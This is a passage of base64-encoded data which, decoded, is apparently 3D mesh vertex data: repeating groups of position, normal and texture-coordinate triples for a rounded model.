LjM4MzUzLCAwLjQ2MTc3XVswLjkxNjY3LCAwLjM3NTAwLCAwXVsxMi42Mzg3LCAtMTYuNjY3
MiwgMjUuODYxMl1bMC40NjE3NywgLTAuMzgzNTMsIDAuNzk5ODBdWzAuODMzMzMsIDAuMzc1
MDAsIDBdWzIwLjU2MzEsIC0yNy4xNTM0LCAtNi4zMTgwOWUtMDA2XVswLjcwNjE3LCAtMC43
MDgwNCwgMC4wMDAwMF1bMS4wMDAwMCwgMC4yNTAwMCwgMF1bMjMuNTY5LCAtMTYuNjY3Miwg
MTQuOTMxXVswLjc5OTgwLCAtMC4zODM1MywgMC40NjE3N11bMC45MTY2NywgMC4zNzUwMCwg
MF1bMTcuNTAxMSwgLTI3LjE1MzQsIDExLjQyNzddWzAuNjExNTYsIC0wLjcwODA0LCAwLjM1
MzA5XVswLjkxNjY3LCAwLjI1MDAwLCAwXVsyMC41NjMxLCAtMjcuMTUzNCwgLTYuMzE4MDll
LTAwNl1bMC43MDYxNywgLTAuNzA4MDQsIDAuMDAwMDBdWzEuMDAwMDAsIDAuMjUwMDAsIDBd
WzI3LjU2OTcsIC0xNi42NjcyLCAtNi4zMTgwOWUtMDA2XVswLjkyMzUzLCAtMC4zODM1Mywg
MC4wMDAwMF1bMS4wMDAwMCwgMC4zNzUwMCwgMF1bMjMuNTY5LCAtMTYuNjY3MiwgMTQuOTMx
XVswLjc5OTgwLCAtMC4zODM1MywgMC40NjE3N11bMC45MTY2NywgMC4zNzUwMCwgMF1bMjMu
NTY5LCAtMTYuNjY3MiwgLTE0LjkzMV1bMC43OTk4MCwgLTAuMzgzNTMsIC0wLjQ2MTc2XVsw
LjA4MzMzLCAwLjM3NTAwLCAwXVszMC4wMzAxLCAtNC4yOTc5OSwgLTYuMzE4MDllLTAwNl1b
MS4wMDAwMCwgMC4wMDAwMCwgMC4wMDAwMF1bMC4wMDAwMCwgMC41MDAwMCwgMF1bMjcuNTY5
NywgLTE2LjY2NzIsIC02LjMxODA5ZS0wMDZdWzAuOTIzNTMsIC0wLjM4MzUzLCAwLjAwMDAw
XVswLjAwMDAwLCAwLjM3NTAwLCAwXVsyMy41NjksIC0xNi42NjcyLCAtMTQuOTMxXVswLjc5
OTgwLCAtMC4zODM1MywgLTAuNDYxNzZdWzAuMDgzMzMsIDAuMzc1MDAsIDBdWzI1LjY5OTgs
IC00LjI5Nzk5LCAtMTYuMTYxMl1bMC44NjYwMywgMC4wMDAwMCwgLTAuNTAwMDBdWzAuMDgz
MzMsIDAuNTAwMDAsIDBdWzMwLjAzMDEsIC00LjI5Nzk5LCAtNi4zMTgwOWUtMDA2XVsxLjAw
MDAwLCAwLjAwMDAwLCAwLjAwMDAwXVswLjAwMDAwLCAwLjUwMDAwLCAwXVsxMi42Mzg3LCAt
MTYuNjY3MiwgLTI1Ljg2MTNdWzAuNDYxNzcsIC0wLjM4MzUzLCAtMC43OTk4MF1bMC4xNjY2
NywgMC4zNzUwMCwgMF1bMjUuNjk5OCwgLTQuMjk3OTksIC0xNi4xNjEyXVswLjg2NjAzLCAw
LjAwMDAwLCAtMC41MDAwMF1bMC4wODMzMywgMC41MDAwMCwgMF1bMjMuNTY5LCAtMTYuNjY3
MiwgLTE0LjkzMV1bMC43OTk4MCwgLTAuMzgzNTMsIC0wLjQ2MTc2XVswLjA4MzMzLCAwLjM3
NTAwLCAwXVsxMi42Mzg3LCAtMTYuNjY3MiwgLTI1Ljg2MTNdWzAuNDYxNzcsIC0wLjM4MzUz
LCAtMC43OTk4MF1bMC4xNjY2NywgMC4zNzUwMCwgMF1bMTMuODY4OSwgLTQuMjk3OTksIC0y
Ny45OTJdWzAuNTAwMDAsIDAuMDAwMDAsIC0wLjg2NjAzXVswLjE2NjY3LCAwLjUwMDAwLCAw
XVsyNS42OTk4LCAtNC4yOTc5OSwgLTE2LjE2MTJdWzAuODY2MDMsIDAuMDAwMDAsIC0wLjUw
MDAwXVswLjA4MzMzLCAwLjUwMDAwLCAwXVstMi4yOTIyNiwgLTE2LjY2NzIsIC0yOS44NjJd
WzAuMDAwMDAsIC0wLjM4MzUzLCAtMC45MjM1M11bMC4yNTAwMCwgMC4zNzUwMCwgMF1bMTMu
ODY4OSwgLTQuMjk3OTksIC0yNy45OTJdWzAuNTAwMDAsIDAuMDAwMDAsIC0wLjg2NjAzXVsw
LjE2NjY3LCAwLjUwMDAwLCAwXVsxMi42Mzg3LCAtMTYuNjY3MiwgLTI1Ljg2MTNdWzAuNDYx
NzcsIC0wLjM4MzUzLCAtMC43OTk4MF1bMC4xNjY2NywgMC4zNzUwMCwgMF1bLTIuMjkyMjYs
IC0xNi42NjcyLCAtMjkuODYyXVswLjAwMDAwLCAtMC4zODM1MywgLTAuOTIzNTNdWzAuMjUw
MDAsIDAuMzc1MDAsIDBdWy0yLjI5MjI2LCAtNC4yOTc5OSwgLTMyLjMyMjRdWzAuMDAwMDAs
IDAuMDAwMDAsIC0xLjAwMDAwXVswLjI1MDAwLCAwLjUwMDAwLCAwXVsxMy44Njg5LCAtNC4y
OTc5OSwgLTI3Ljk5Ml1bMC41MDAwMCwgMC4wMDAwMCwgLTAuODY2MDNdWzAuMTY2NjcsIDAu
NTAwMDAsIDBdWy0xNy4yMjMzLCAtMTYuNjY3MiwgLTI1Ljg2MTNdWy0wLjQ2MTc2LCAtMC4z
ODM1MywgLTAuNzk5ODBdWzAuMzMzMzMsIDAuMzc1MDAsIDBdWy0yLjI5MjI2LCAtNC4yOTc5
OSwgLTMyLjMyMjRdWzAuMDAwMDAsIDAuMDAwMDAsIC0xLjAwMDAwXVswLjI1MDAwLCAwLjUw
MDAwLCAwXVstMi4yOTIyNiwgLTE2LjY2NzIsIC0yOS44NjJdWzAuMDAwMDAsIC0wLjM4MzUz
LCAtMC45MjM1M11bMC4yNTAwMCwgMC4zNzUwMCwgMF1bLTE3LjIyMzMsIC0xNi42NjcyLCAt
MjUuODYxM11bLTAuNDYxNzYsIC0wLjM4MzUzLCAtMC43OTk4MF1bMC4zMzMzMywgMC4zNzUw
MCwgMF1bLTE4LjQ1MzUsIC00LjI5Nzk5LCAtMjcuOTkyXVstMC41MDAwMCwgMC4wMDAwMCwg
LTAuODY2MDNdWzAuMzMzMzMsIDAuNTAwMDAsIDBdWy0yLjI5MjI2LCAtNC4yOTc5OSwgLTMy
LjMyMjRdWzAuMDAwMDAsIDAuMDAwMDAsIC0xLjAwMDAwXVswLjI1MDAwLCAwLjUwMDAwLCAw
XVstMjguMTUzNSwgLTE2LjY2NzIsIC0xNC45MzFdWy0wLjc5OTgwLCAtMC4zODM1MywgLTAu
NDYxNzddWzAuNDE2NjcsIDAuMzc1MDAsIDBdWy0xOC40NTM1LCAtNC4yOTc5OSwgLTI3Ljk5
Ml1bLTAuNTAwMDAsIDAuMDAwMDAsIC0wLjg2NjAzXVswLjMzMzMzLCAwLjUwMDAwLCAwXVst
MTcuMjIzMywgLTE2LjY2NzIsIC0yNS44NjEzXVstMC40NjE3NiwgLTAuMzgzNTMsIC0wLjc5
OTgwXVswLjMzMzMzLCAwLjM3NTAwLCAwXVstMjguMTUzNSwgLTE2LjY2NzIsIC0xNC45MzFd
Wy0wLjc5OTgwLCAtMC4zODM1MywgLTAuNDYxNzddWzAuNDE2NjcsIDAuMzc1MDAsIDBdWy0z
MC4yODQzLCAtNC4yOTc5OSwgLTE2LjE2MTJdWy0wLjg2NjAzLCAwLjAwMDAwLCAtMC41MDAw
MF1bMC40MTY2NywgMC41MDAwMCwgMF1bLTE4LjQ1MzUsIC00LjI5Nzk5LCAtMjcuOTkyXVst
MC41MDAwMCwgMC4wMDAwMCwgLTAuODY2MDNdWzAuMzMzMzMsIDAuNTAwMDAsIDBdWy0zMi4x
NTQzLCAtMTYuNjY3MiwgLTYuMzE4MDllLTAwNl1bLTAuOTIzNTMsIC0wLjM4MzUzLCAtMC4w
MDAwMF1bMC41MDAwMCwgMC4zNzUwMCwgMF1bLTMwLjI4NDMsIC00LjI5Nzk5LCAtMTYuMTYx
Ml1bLTAuODY2MDMsIDAuMDAwMDAsIC0wLjUwMDAwXVswLjQxNjY3LCAwLjUwMDAwLCAwXVst
MjguMTUzNSwgLTE2LjY2NzIsIC0xNC45MzFdWy0wLjc5OTgwLCAtMC4zODM1MywgLTAuNDYx
NzddWzAuNDE2NjcsIDAuMzc1MDAsIDBdWy0zMi4xNTQzLCAtMTYuNjY3MiwgLTYuMzE4MDll
LTAwNl1bLTAuOTIzNTMsIC0wLjM4MzUzLCAtMC4wMDAwMF1bMC41MDAwMCwgMC4zNzUwMCwg
MF1bLTM0LjYxNDcsIC00LjI5Nzk5LCAtNi4zMTgwOWUtMDA2XVstMS4wMDAwMCwgMC4wMDAw
MCwgLTAuMDAwMDBdWzAuNTAwMDAsIDAuNTAwMDAsIDBdWy0zMC4yODQzLCAtNC4yOTc5OSwg
LTE2LjE2MTJdWy0wLjg2NjAzLCAwLjAwMDAwLCAtMC41MDAwMF1bMC40MTY2NywgMC41MDAw
MCwgMF1bLTI4LjE1MzUsIC0xNi42NjcyLCAxNC45MzFdWy0wLjc5OTgwLCAtMC4zODM1Mywg
MC40NjE3Nl1bMC41ODMzMywgMC4zNzUwMCwgMF1bLTM0LjYxNDcsIC00LjI5Nzk5LCAtNi4z
MTgwOWUtMDA2XVstMS4wMDAwMCwgMC4wMDAwMCwgLTAuMDAwMDBdWzAuNTAwMDAsIDAuNTAw
MDAsIDBdWy0zMi4xNTQzLCAtMTYuNjY3MiwgLTYuMzE4MDllLTAwNl1bLTAuOTIzNTMsIC0w
LjM4MzUzLCAtMC4wMDAwMF1bMC41MDAwMCwgMC4zNzUwMCwgMF1bLTI4LjE1MzUsIC0xNi42
NjcyLCAxNC45MzFdWy0wLjc5OTgwLCAtMC4zODM1MywgMC40NjE3Nl1bMC41ODMzMywgMC4z
NzUwMCwgMF1bLTMwLjI4NDMsIC00LjI5Nzk5LCAxNi4xNjEyXVstMC44NjYwMywgMC4wMDAw
MCwgMC41MDAwMF1bMC41ODMzMywgMC41MDAwMCwgMF1bLTM0LjYxNDcsIC00LjI5Nzk5LCAt
Ni4zMTgwOWUtMDA2XVstMS4wMDAwMCwgMC4wMDAwMCwgLTAuMDAwMDBdWzAuNTAwMDAsIDAu
NTAwMDAsIDBdWy0xNy4yMjMzLCAtMTYuNjY3MiwgMjUuODYxMl1bLTAuNDYxNzcsIC0wLjM4
MzUzLCAwLjc5OTgwXVswLjY2NjY3LCAwLjM3NTAwLCAwXVstMzAuMjg0MywgLTQuMjk3OTks
IDE2LjE2MTJdWy0wLjg2NjAzLCAwLjAwMDAwLCAwLjUwMDAwXVswLjU4MzMzLCAwLjUwMDAw
LCAwXVstMjguMTUzNSwgLTE2LjY2NzIsIDE0LjkzMV1bLTAuNzk5ODAsIC0wLjM4MzUzLCAw
LjQ2MTc2XVswLjU4MzMzLCAwLjM3NTAwLCAwXVstMTcuMjIzMywgLTE2LjY2NzIsIDI1Ljg2
MTJdWy0wLjQ2MTc3LCAtMC4zODM1MywgMC43OTk4MF1bMC42NjY2NywgMC4zNzUwMCwgMF1b
LTE4LjQ1MzUsIC00LjI5Nzk5LCAyNy45OTJdWy0wLjUwMDAwLCAwLjAwMDAwLCAwLjg2NjAz
XVswLjY2NjY3LCAwLjUwMDAwLCAwXVstMzAuMjg0MywgLTQuMjk3OTksIDE2LjE2MTJdWy0w
Ljg2NjAzLCAwLjAwMDAwLCAwLjUwMDAwXVswLjU4MzMzLCAwLjUwMDAwLCAwXVstMi4yOTIy
NiwgLTE2LjY2NzIsIDI5Ljg2Ml1bLTAuMDAwMDAsIC0wLjM4MzUzLCAwLjkyMzUzXVswLjc1
MDAwLCAwLjM3NTAwLCAwXVstMTguNDUzNSwgLTQuMjk3OTksIDI3Ljk5Ml1bLTAuNTAwMDAs
IDAuMDAwMDAsIDAuODY2MDNdWzAuNjY2NjcsIDAuNTAwMDAsIDBdWy0xNy4yMjMzLCAtMTYu
NjY3MiwgMjUuODYxMl1bLTAuNDYxNzcsIC0wLjM4MzUzLCAwLjc5OTgwXVswLjY2NjY3LCAw
LjM3NTAwLCAwXVstMi4yOTIyNiwgLTE2LjY2NzIsIDI5Ljg2Ml1bLTAuMDAwMDAsIC0wLjM4
MzUzLCAwLjkyMzUzXVswLjc1MDAwLCAwLjM3NTAwLCAwXVstMi4yOTIyNiwgLTQuMjk3OTks
IDMyLjMyMjRdWy0wLjAwMDAwLCAwLjAwMDAwLCAxLjAwMDAwXVswLjc1MDAwLCAwLjUwMDAw
LCAwXVstMTguNDUzNSwgLTQuMjk3OTksIDI3Ljk5Ml1bLTAuNTAwMDAsIDAuMDAwMDAsIDAu
ODY2MDNdWzAuNjY2NjcsIDAuNTAwMDAsIDBdWzEyLjYzODcsIC0xNi42NjcyLCAyNS44NjEy
XVswLjQ2MTc3LCAtMC4zODM1MywgMC43OTk4MF1bMC44MzMzMywgMC4zNzUwMCwgMF1bLTIu
MjkyMjYsIC00LjI5Nzk5LCAzMi4zMjI0XVstMC4wMDAwMCwgMC4wMDAwMCwgMS4wMDAwMF1b
MC43NTAwMCwgMC41MDAwMCwgMF1bLTIuMjkyMjYsIC0xNi42NjcyLCAyOS44NjJdWy0wLjAw
MDAwLCAtMC4zODM1MywgMC45MjM1M11bMC43NTAwMCwgMC4zNzUwMCwgMF1bMTIuNjM4Nywg
LTE2LjY2NzIsIDI1Ljg2MTJdWzAuNDYxNzcsIC0wLjM4MzUzLCAwLjc5OTgwXVswLjgzMzMz
LCAwLjM3NTAwLCAwXVsxMy44Njg5LCAtNC4yOTc5OSwgMjcuOTkyXVswLjUwMDAwLCAwLjAw
MDAwLCAwLjg2NjAzXVswLjgzMzMzLCAwLjUwMDAwLCAwXVstMi4yOTIyNiwgLTQuMjk3OTks
IDMyLjMyMjRdWy0wLjAwMDAwLCAwLjAwMDAwLCAxLjAwMDAwXVswLjc1MDAwLCAwLjUwMDAw
LCAwXVsyMy41NjksIC0xNi42NjcyLCAxNC45MzFdWzAuNzk5ODAsIC0wLjM4MzUzLCAwLjQ2
MTc3XVswLjkxNjY3LCAwLjM3NTAwLCAwXVsxMy44Njg5LCAtNC4yOTc5OSwgMjcuOTkyXVsw
LjUwMDAwLCAwLjAwMDAwLCAwLjg2NjAzXVswLjgzMzMzLCAwLjUwMDAwLCAwXVsxMi42Mzg3
LCAtMTYuNjY3MiwgMjUuODYxMl1bMC40NjE3NywgLTAuMzgzNTMsIDAuNzk5ODBdWzAuODMz
MzMsIDAuMzc1MDAsIDBdWzIzLjU2OSwgLTE2LjY2NzIsIDE0LjkzMV1bMC43OTk4MCwgLTAu
MzgzNTMsIDAuNDYxNzddWzAuOTE2NjcsIDAuMzc1MDAsIDBdWzI1LjY5OTgsIC00LjI5Nzk5
LCAxNi4xNjEyXVswLjg2NjAzLCAwLjAwMDAwLCAwLjUwMDAwXVswLjkxNjY3LCAwLjUwMDAw
LCAwXVsxMy44Njg5LCAtNC4yOTc5OSwgMjcuOTkyXVswLjUwMDAwLCAwLjAwMDAwLCAwLjg2
NjAzXVswLjgzMzMzLCAwLjUwMDAwLCAwXVsyNy41Njk3LCAtMTYuNjY3MiwgLTYuMzE4MDll
LTAwNl1bMC45MjM1MywgLTAuMzgzNTMsIDAuMDAwMDBdWzEuMDAwMDAsIDAuMzc1MDAsIDBd
WzI1LjY5OTgsIC00LjI5Nzk5LCAxNi4xNjEyXVswLjg2NjAzLCAwLjAwMDAwLCAwLjUwMDAw
XVswLjkxNjY3LCAwLjUwMDAwLCAwXVsyMy41NjksIC0xNi42NjcyLCAxNC45MzFdWzAuNzk5
ODAsIC0wLjM4MzUzLCAwLjQ2MTc3XVswLjkxNjY3LCAwLjM3NTAwLCAwXVsyNy41Njk3LCAt
MTYuNjY3MiwgLTYuMzE4MDllLTAwNl1bMC45MjM1MywgLTAuMzgzNTMsIDAuMDAwMDBdWzEu
MDAwMDAsIDAuMzc1MDAsIDBdWzMwLjAzMDEsIC00LjI5Nzk5LCAtNi4zMTgwOWUtMDA2XVsx
LjAwMDAwLCAwLjAwMDAwLCAwLjAwMDAwXVsxLjAwMDAwLCAwLjUwMDAwLCAwXVsyNS42OTk4
LCAtNC4yOTc5OSwgMTYuMTYxMl1bMC44NjYwMywgMC4wMDAwMCwgMC41MDAwMF1bMC45MTY2
NywgMC41MDAwMCwgMF1bMjUuNjk5OCwgLTQuMjk3OTksIC0xNi4xNjEyXVswLjg2NjAzLCAw
LjAwMDAwLCAtMC41MDAwMF1bMC4wODMzMywgMC41MDAwMCwgMF1bMjcuNTY5NywgOC4wNzEy
NSwgLTYuMzE4MDllLTAwNl1bMC45MjgxNywgMC4zNzIxNSwgMC4wMDAwMF1bMC4wMDAwMCwg
MC42MjUwMCwgMF1bMzAuMDMwMSwgLTQuMjk3OTksIC02LjMxODA5ZS0wMDZdWzEuMDAwMDAs
IDAuMDAwMDAsIDAuMDAwMDBdWzAuMDAwMDAsIDAuNTAwMDAsIDBdWzI1LjY5OTgsIC00LjI5
Nzk5LCAtMTYuMTYxMl1bMC44NjYwMywgMC4wMDAwMCwgLTAuNTAwMDBdWzAuMDgzMzMsIDAu
NTAwMDAsIDBdWzIzLjU2OSwgOC4wNzEyNSwgLTE0LjkzMV1bMC44MDM4MiwgMC4zNzIxNSwg
LTAuNDY0MDldWzAuMDgzMzMsIDAuNjI1MDAsIDBdWzI3LjU2OTcsIDguMDcxMjUsIC02LjMx
ODA5ZS0wMDZdWzAuOTI4MTcsIDAuMzcyMTUsIDAuMDAwMDBdWzAuMDAwMDAsIDAuNjI1MDAs
IDBdWzEzLjg2ODksIC00LjI5Nzk5LCAtMjcuOTkyXVswLjUwMDAwLCAwLjAwMDAwLCAtMC44
NjYwM11bMC4xNjY2NywgMC41MDAwMCwgMF1bMjMuNTY5LCA4LjA3MTI1LCAtMTQuOTMxXVsw
LjgwMzgyLCAwLjM3MjE1LCAtMC40NjQwOV1bMC4wODMzMywgMC42MjUwMCwgMF1bMjUuNjk5
OCwgLTQuMjk3OTksIC0xNi4xNjEyXVswLjg2NjAzLCAwLjAwMDAwLCAtMC41MDAwMF1bMC4w
ODMzMywgMC41MDAwMCwgMF1bMTMuODY4OSwgLTQuMjk3OTksIC0yNy45OTJdWzAuNTAwMDAs
IDAuMDAwMDAsIC0wLjg2NjAzXVswLjE2NjY3LCAwLjUwMDAwLCAwXVsxMi42Mzg3LCA4LjA3
MTI1LCAtMjUuODYxM11bMC40NjQwOSwgMC4zNzIxNSwgLTAuODAzODJdWzAuMTY2NjcsIDAu
NjI1MDAsIDBdWzIzLjU2OSwgOC4wNzEyNSwgLTE0LjkzMV1bMC44MDM4MiwgMC4zNzIxNSwg
LTAuNDY0MDldWzAuMDgzMzMsIDAuNjI1MDAsIDBdWy0yLjI5MjI2LCAtNC4yOTc5OSwgLTMy
LjMyMjRdWzAuMDAwMDAsIDAuMDAwMDAsIC0xLjAwMDAwXVswLjI1MDAwLCAwLjUwMDAwLCAw
XVsxMi42Mzg3LCA4LjA3MTI1LCAtMjUuODYxM11bMC40NjQwOSwgMC4zNzIxNSwgLTAuODAz
ODJdWzAuMTY2NjcsIDAuNjI1MDAsIDBdWzEzLjg2ODksIC00LjI5Nzk5LCAtMjcuOTkyXVsw
LjUwMDAwLCAwLjAwMDAwLCAtMC44NjYwM11bMC4xNjY2NywgMC41MDAwMCwgMF1bLTIuMjky
MjYsIC00LjI5Nzk5LCAtMzIuMzIyNF1bMC4wMDAwMCwgMC4wMDAwMCwgLTEuMDAwMDBdWzAu
MjUwMDAsIDAuNTAwMDAsIDBdWy0yLjI5MjI2LCA4LjA3MTI1LCAtMjkuODYyXVswLjAwMDAw
LCAwLjM3MjE1LCAtMC45MjgxN11bMC4yNTAwMCwgMC42MjUwMCwgMF1bMTIuNjM4NywgOC4w
NzEyNSwgLTI1Ljg2MTNdWzAuNDY0MDksIDAuMzcyMTUsIC0wLjgwMzgyXVswLjE2NjY3LCAw
LjYyNTAwLCAwXVstMTguNDUzNSwgLTQuMjk3OTksIC0yNy45OTJdWy0wLjUwMDAwLCAwLjAw
MDAwLCAtMC44NjYwM11bMC4zMzMzMywgMC41MDAwMCwgMF1bLTIuMjkyMjYsIDguMDcxMjUs
IC0yOS44NjJdWzAuMDAwMDAsIDAuMzcyMTUsIC0wLjkyODE3XVswLjI1MDAwLCAwLjYyNTAw
LCAwXVstMi4yOTIyNiwgLTQuMjk3OTksIC0zMi4zMjI0XVswLjAwMDAwLCAwLjAwMDAwLCAt
MS4wMDAwMF1bMC4yNTAwMCwgMC41MDAwMCwgMF1bLTE4LjQ1MzUsIC00LjI5Nzk5LCAtMjcu
OTkyXVstMC41MDAwMCwgMC4wMDAwMCwgLTAuODY2MDNdWzAuMzMzMzMsIDAuNTAwMDAsIDBd
Wy0xNy4yMjMzLCA4LjA3MTI1LCAtMjUuODYxM11bLTAuNDY0MDksIDAuMzcyMTUsIC0wLjgw
MzgyXVswLjMzMzMzLCAwLjYyNTAwLCAwXVstMi4yOTIyNiwgOC4wNzEyNSwgLTI5Ljg2Ml1b
MC4wMDAwMCwgMC4zNzIxNSwgLTAuOTI4MTddWzAuMjUwMDAsIDAuNjI1MDAsIDBdWy0zMC4y
ODQzLCAtNC4yOTc5OSwgLTE2LjE2MTJdWy0wLjg2NjAzLCAwLjAwMDAwLCAtMC41MDAwMF1b
MC40MTY2NywgMC41MDAwMCwgMF1bLTE3LjIyMzMsIDguMDcxMjUsIC0yNS44NjEzXVstMC40
NjQwOSwgMC4zNzIxNSwgLTAuODAzODJdWzAuMzMzMzMsIDAuNjI1MDAsIDBdWy0xOC40NTM1
LCAtNC4yOTc5OSwgLTI3Ljk5Ml1bLTAuNTAwMDAsIDAuMDAwMDAsIC0wLjg2NjAzXVswLjMz
MzMzLCAwLjUwMDAwLCAwXVstMzAuMjg0MywgLTQuMjk3OTksIC0xNi4xNjEyXVstMC44NjYw
MywgMC4wMDAwMCwgLTAuNTAwMDBdWzAuNDE2NjcsIDAuNTAwMDAsIDBdWy0yOC4xNTM1LCA4
LjA3MTI1LCAtMTQuOTMxXVstMC44MDM4MiwgMC4zNzIxNSwgLTAuNDY0MDldWzAuNDE2Njcs
IDAuNjI1MDAsIDBdWy0xNy4yMjMzLCA4LjA3MTI1LCAtMjUuODYxM11bLTAuNDY0MDksIDAu
MzcyMTUsIC0wLjgwMzgyXVswLjMzMzMzLCAwLjYyNTAwLCAwXVstMzQuNjE0NywgLTQuMjk3
OTksIC02LjMxODA5ZS0wMDZdWy0xLjAwMDAwLCAwLjAwMDAwLCAtMC4wMDAwMF1bMC41MDAw
MCwgMC41MDAwMCwgMF1bLTI4LjE1MzUsIDguMDcxMjUsIC0xNC45MzFdWy0wLjgwMzgyLCAw
LjM3MjE1LCAtMC40NjQwOV1bMC40MTY2NywgMC42MjUwMCwgMF1bLTMwLjI4NDMsIC00LjI5
Nzk5LCAtMTYuMTYxMl1bLTAuODY2MDMsIDAuMDAwMDAsIC0wLjUwMDAwXVswLjQxNjY3LCAw
LjUwMDAwLCAwXVstMzQuNjE0NywgLTQuMjk3OTksIC02LjMxODA5ZS0wMDZdWy0xLjAwMDAw
LCAwLjAwMDAwLCAtMC4wMDAwMF1bMC41MDAwMCwgMC41MDAwMCwgMF1bLTMyLjE1NDMsIDgu
MDcxMjUsIC02LjMxODA5ZS0wMDZdWy0wLjkyODE3LCAwLjM3MjE1LCAtMC4wMDAwMF1bMC41
MDAwMCwgMC42MjUwMCwgMF1bLTI4LjE1MzUsIDguMDcxMjUsIC0xNC45MzFdWy0wLjgwMzgy
LCAwLjM3MjE1LCAtMC40NjQwOV1bMC40MTY2NywgMC42MjUwMCwgMF1bLTMwLjI4NDMsIC00
LjI5Nzk5LCAxNi4xNjEyXVstMC44NjYwMywgMC4wMDAwMCwgMC41MDAwMF1bMC41ODMzMywg
MC41MDAwMCwgMF1bLTMyLjE1NDMsIDguMDcxMjUsIC02LjMxODA5ZS0wMDZdWy0wLjkyODE3
LCAwLjM3MjE1LCAtMC4wMDAwMF1bMC41MDAwMCwgMC42MjUwMCwgMF1bLTM0LjYxNDcsIC00
LjI5Nzk5LCAtNi4zMTgwOWUtMDA2XVstMS4wMDAwMCwgMC4wMDAwMCwgLTAuMDAwMDBdWzAu
NTAwMDAsIDAuNTAwMDAsIDBdWy0zMC4yODQzLCAtNC4yOTc5OSwgMTYuMTYxMl1bLTAuODY2
MDMsIDAuMDAwMDAsIDAuNTAwMDBdWzAuNTgzMzMsIDAuNTAwMDAsIDBdWy0yOC4xNTM1LCA4
LjA3MTI1LCAxNC45MzFdWy0wLjgwMzgyLCAwLjM3MjE1LCAwLjQ2NDA5XVswLjU4MzMzLCAw
LjYyNTAwLCAwXVstMzIuMTU0MywgOC4wNzEyNSwgLTYuMzE4MDllLTAwNl1bLTAuOTI4MTcs
IDAuMzcyMTUsIC0wLjAwMDAwXVswLjUwMDAwLCAwLjYyNTAwLCAwXVstMTguNDUzNSwgLTQu
Mjk3OTksIDI3Ljk5Ml1bLTAuNTAwMDAsIDAuMDAwMDAsIDAuODY2MDNdWzAuNjY2NjcsIDAu
NTAwMDAsIDBdWy0yOC4xNTM1LCA4LjA3MTI1LCAxNC45MzFdWy0wLjgwMzgyLCAwLjM3MjE1
LCAwLjQ2NDA5XVswLjU4MzMzLCAwLjYyNTAwLCAwXVstMzAuMjg0MywgLTQuMjk3OTksIDE2
LjE2MTJdWy0wLjg2NjAzLCAwLjAwMDAwLCAwLjUwMDAwXVswLjU4MzMzLCAwLjUwMDAwLCAw
XVstMTguNDUzNSwgLTQuMjk3OTksIDI3Ljk5Ml1bLTAuNTAwMDAsIDAuMDAwMDAsIDAuODY2
MDNdWzAuNjY2NjcsIDAuNTAwMDAsIDBdWy0xNy4yMjMzLCA4LjA3MTI1LCAyNS44NjEyXVst
MC40NjQwOSwgMC4zNzIxNSwgMC44MDM4Ml1bMC42NjY2NywgMC42MjUwMCwgMF1bLTI4LjE1
MzUsIDguMDcxMjUsIDE0LjkzMV1bLTAuODAzODIsIDAuMzcyMTUsIDAuNDY0MDldWzAuNTgz
MzMsIDAuNjI1MDAsIDBdWy0yLjI5MjI2LCAtNC4yOTc5OSwgMzIuMzIyNF1bLTAuMDAwMDAs
IDAuMDAwMDAsIDEuMDAwMDBdWzAuNzUwMDAsIDAuNTAwMDAsIDBdWy0xNy4yMjMzLCA4LjA3
MTI1LCAyNS44NjEyXVstMC40NjQwOSwgMC4zNzIxNSwgMC44MDM4Ml1bMC42NjY2NywgMC42
MjUwMCwgMF1bLTE4LjQ1MzUsIC00LjI5Nzk5LCAyNy45OTJdWy0wLjUwMDAwLCAwLjAwMDAw
LCAwLjg2NjAzXVswLjY2NjY3LCAwLjUwMDAwLCAwXVstMi4yOTIyNiwgLTQuMjk3OTksIDMy
LjMyMjRdWy0wLjAwMDAwLCAwLjAwMDAwLCAxLjAwMDAwXVswLjc1MDAwLCAwLjUwMDAwLCAw
XVstMi4yOTIyNiwgOC4wNzEyNSwgMjkuODYyXVstMC4wMDAwMCwgMC4zNzIxNSwgMC45Mjgx
N11bMC43NTAwMCwgMC42MjUwMCwgMF1bLTE3LjIyMzMsIDguMDcxMjUsIDI1Ljg2MTJdWy0w
LjQ2NDA5LCAwLjM3MjE1LCAwLjgwMzgyXVswLjY2NjY3LCAwLjYyNTAwLCAwXVsxMy44Njg5
LCAtNC4yOTc5OSwgMjcuOTkyXVswLjUwMDAwLCAwLjAwMDAwLCAwLjg2NjAzXVswLjgzMzMz
LCAwLjUwMDAwLCAwXVstMi4yOTIyNiwgOC4wNzEyNSwgMjkuODYyXVstMC4wMDAwMCwgMC4z
NzIxNSwgMC45MjgxN11bMC43NTAwMCwgMC42MjUwMCwgMF1bLTIuMjkyMjYsIC00LjI5Nzk5
LCAzMi4zMjI0XVstMC4wMDAwMCwgMC4wMDAwMCwgMS4wMDAwMF1bMC43NTAwMCwgMC41MDAw
MCwgMF1bMTMuODY4OSwgLTQuMjk3OTksIDI3Ljk5Ml1bMC41MDAwMCwgMC4wMDAwMCwgMC44
NjYwM11bMC44MzMzMywgMC41MDAwMCwgMF1bMTIuNjM4NywgOC4wNzEyNSwgMjUuODYxMl1b
MC40NjQwOSwgMC4zNzIxNSwgMC44MDM4Ml1bMC44MzMzMywgMC42MjUwMCwgMF1bLTIuMjky
MjYsIDguMDcxMjUsIDI5Ljg2Ml1bLTAuMDAwMDAsIDAuMzcyMTUsIDAuOTI4MTddWzAuNzUw
MDAsIDAuNjI1MDAsIDBdWzI1LjY5OTgsIC00LjI5Nzk5LCAxNi4xNjEyXVswLjg2NjAzLCAw
LjAwMDAwLCAwLjUwMDAwXVswLjkxNjY3LCAwLjUwMDAwLCAwXVsxMi42Mzg3LCA4LjA3MTI1
LCAyNS44NjEyXVswLjQ2NDA5LCAwLjM3MjE1LCAwLjgwMzgyXVswLjgzMzMzLCAwLjYyNTAw
LCAwXVsxMy44Njg5LCAtNC4yOTc5OSwgMjcuOTkyXVswLjUwMDAwLCAwLjAwMDAwLCAwLjg2
NjAzXVswLjgzMzMzLCAwLjUwMDAwLCAwXVsyNS42OTk4LCAtNC4yOTc5OSwgMTYuMTYxMl1b
MC44NjYwMywgMC4wMDAwMCwgMC41MDAwMF1bMC45MTY2NywgMC41MDAwMCwgMF1bMjMuNTY5
LCA4LjA3MTI1LCAxNC45MzFdWzAuODAzODIsIDAuMzcyMTUsIDAuNDY0MDldWzAuOTE2Njcs
IDAuNjI1MDAsIDBdWzEyLjYzODcsIDguMDcxMjUsIDI1Ljg2MTJdWzAuNDY0MDksIDAuMzcy
MTUsIDAuODAzODJdWzAuODMzMzMsIDAuNjI1MDAsIDBdWzMwLjAzMDEsIC00LjI5Nzk5LCAt
